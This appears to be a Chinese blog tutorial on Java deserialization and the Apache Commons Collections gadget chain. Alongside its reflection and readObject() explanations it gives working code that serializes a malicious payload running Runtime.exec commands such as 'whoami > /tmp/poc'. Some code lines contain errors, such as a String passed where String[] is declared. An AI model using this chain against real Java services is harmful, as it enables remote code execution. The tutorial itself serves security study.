java序列化与反序列化

定义

序列化就是把对象的转换成字节流,便于保存在内存、文件、数据库中(即便于存储或传输)过程;反序列化即逆过程,又字节流还原成对象。
java对象序列化

Java中api实现

序列化:java.io.ObjectOutputStream类的writeObject()方法可以实现序列化;
反序列化:java.io.ObjectInputStream类的readObject()方法用于实现反序列化。

将字符串对象“中国”进行序列化存储到本地“test.ser”文件,然后再通过反序列化进行恢复打印输出的样例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package serialize;

import java.io.*;

/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class javaApiSerialize {
public static void main(String args[]) throws Exception{
String obj = "中国";

// 将序列化对象写入test.ser文件中
FileOutputStream fos = new FileOutputStream("test.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
System.out.println("序列化完成");

// 从文件test.ser中读取数据
FileInputStream fis = new FileInputStream("test.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// System.out.println(ois.getClass().getName());
System.out.println(ois);

// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}

java中api实现反序列化结果
java序列化写入文件内容

概念上根本原因

如果Java应用对用户的输入(序列化过的恶意数据),即不可信数据(如序列化过的命令执行代码)做了反序列化处理,产生的非预期对象的过程中可能带来任意代码执行。

Collections漏洞原因

序列化和反序列化函数本身不存在漏洞,而是Collections这个第三方基础库的设计功能过于丰富(设计缺陷),安全研究员在其反序列化过程中发现了可以利用Collections特殊接口通过java语言的反射机制调用任意函数,比如命令执行函数来执行命令。

漏洞形成基础知识

java反射机制

1
2
3
4
JAVA反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
Java反射机制主要提供了以下功能: 在运行时判断任意一个对象所属的类;在运行时构造任意一个类的对象;在运行时判断任意一个类所具有的成员变量和方法;在运行时调用任意一个对象的方法;生成动态代理。
java反射机制详解及Method.invoke解释:http://blog.csdn.net/mr_tim/article/details/51594717

被序列化和反序列化的类

1
2
实现Serializable和Externalizable接口的类的对象才能被序列化。
Serializable接口,只是一个标记接口,不包含任何的方法。如果我们想要序列化一个对象,首先要创建某些OutputStream(如FileOutputStream、ByteArrayOutputStream等),然后将这些OutputStream封装在一个ObjectOutputStream中。这时候,只需要调用writeObject()方法就可以将对象序列化,并将其发送给OutputStream(记住:对象的序列化是基于字节的,不能使用Reader和Writer等基于字符的层次结构)。而饭序列的过程(即将一个序列还原成为一个对象),需要将一个InputStream(如FileInputstream、ByteArrayInputStream等)封装在ObjectInputStream内,然后调用readObject()即可。

Collections漏洞分析

Collections介绍

由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

漏洞触发过程

既然是反序列化漏洞,而且我们已经知道反序列化漏洞形成的根本原因是构造一个恶意的序列化rce对象,让序列化rce在反序列化时进行命令执行。

宽泛解释:

漏洞发现者就在Collectios库中找到一个继承了Serializable接口的而且可以调用命令执行的类(InvokerTransformer),这时候InvokerTransformer创建出来的对象就是可以序列化的对象了,然后通过另外一个继承了Serializable接口的类(AnnotationInvocationHandler)去接收InvokerTransformer构造好的可序列化的任意代码执行对象,通过ObjectOutputStream将对象输出到文件payload。

因为这个payload是通过AnnotationInvocationHandler序列化的,当把payload发送到使用了低版本有漏洞的Collections的应用,ObjectInputStream方法会自动识别是使用了AnnotationInvocationHandler类序列化的对象,进而自动通过AnnotationInvocationHandler的readObject()函数对其进行反对其反序列化操作。

现在我们知道了谁可以构造代码执行,谁负责序列化和反序列化,那为什么会在反序列化时不是正常把命令执行代码反序列化成代码对象,而是执行了命令呢?这里面的触发链条和细节,我们在下面解释。

简化思路:
AnnotationInvocationHandler重写的readObject()在反序列化时优先于原生的readObject()被调用,而重写的readObject()内部有修改Map变量值的操作,readObject()在反序列化时同时修改了变量值时,修改变量这一动作就会触发代码执行。

为什么修改变量会触发代码执行?

在TransformedMap是Collectios库把Map的一个封装实现,功能是通过TransformedMap.decorate()把一个Map对象转换成另外一个Map对象。

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

可以看到decorate函数传入的一个Map对象,Transformer类型的key,Transformer类型的value值。

Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。代码如下:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

当Map中的任意项的Key或者value被修改,相应的Transformer就会被调用。而这时漏洞的核心InvokerTransformer出现了,它继承了Transformer和Serializable接口,内部通过Java的反射机制可以调用任意函数,只需传入方法名、参数类型和参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class InvokerTransformer implements Transformer, Serializable {

...

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

若通过它调用Runtime.getRuntime().exec()便可以执行命令,且因继承了Serializable也是易序列化的。重要的是多个Transformer能串联起来,形成ChainedTransformer,而ChainedTransformer正好可以承载Runtime.getRuntime().exec()。

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

而上面我们讲到为什么修改Map值,触发代码执行,上面这里便是关键。
因为我们构造出了ChainedTransformer承载了

1
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

而TransformedMap.decorate()可以把一个Map对象转换成另外一个Map对象,而decorate()的第3个参数传入的就是一个Transformer,我们构造的ChainedTransformer就可以作为第三个参数传入。

我们先随意定义一个Map对象叫做innerMap,通过TransformedMap.decorate()把它转换成另外一个Map对象,叫做outerMap,而decorate()传入的第三个参数就是我们构造好的ChainedTransformer任意代码触发链。这时候如果后面的操作修改了被转换出来的Map对象outerMap的值,就会触发ChainedTransformer内的一系列InvokerTransformer,造成代码执行。

下面是我们通过人为通过Map自己内部的方法修改元素的值来达到触发的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package serialize;

import java.*;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Map_Entry {

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {" /Applications/Calculator.app/Contents/MacOS/Calculator"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("foobar");

}

}

手工修改Map值触发RCE

所以到这里,我们再回头看一下宽泛解释,我们要通过反序列化去自动触发RCE,而不是人为通过Map方法修改Map值触发,所以找到AnnotationInvocationHandler,它的readObject()函数,函数内对memberValues所有的值都有setValue操作,自动触发Transformer构造的rce链。

AnnotationInvocationHandler类继承InvocationHandler和Serializable:

1
2
3
4
5
6
7
8
9
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...

AnnotationInvocationHandler的readObject()函数内对memberValues的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

AnnotationInvocationHandler序列化构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package serialize;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class Poc{
public static void main(String[] args) throws Exception {

//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { "whoami > /tmp/poc" } //目标机器上反序列化后执行的命令
)
};

//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);

//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

BeforeTransformerMap.put("hello", "hello");

//Map数据结构,转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/
//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

File f = new File("/tmp/payload.bin"); //序列化后的payload
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}

/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/

java反序列化漏洞触发链(Collections)

java反序列化漏洞触发链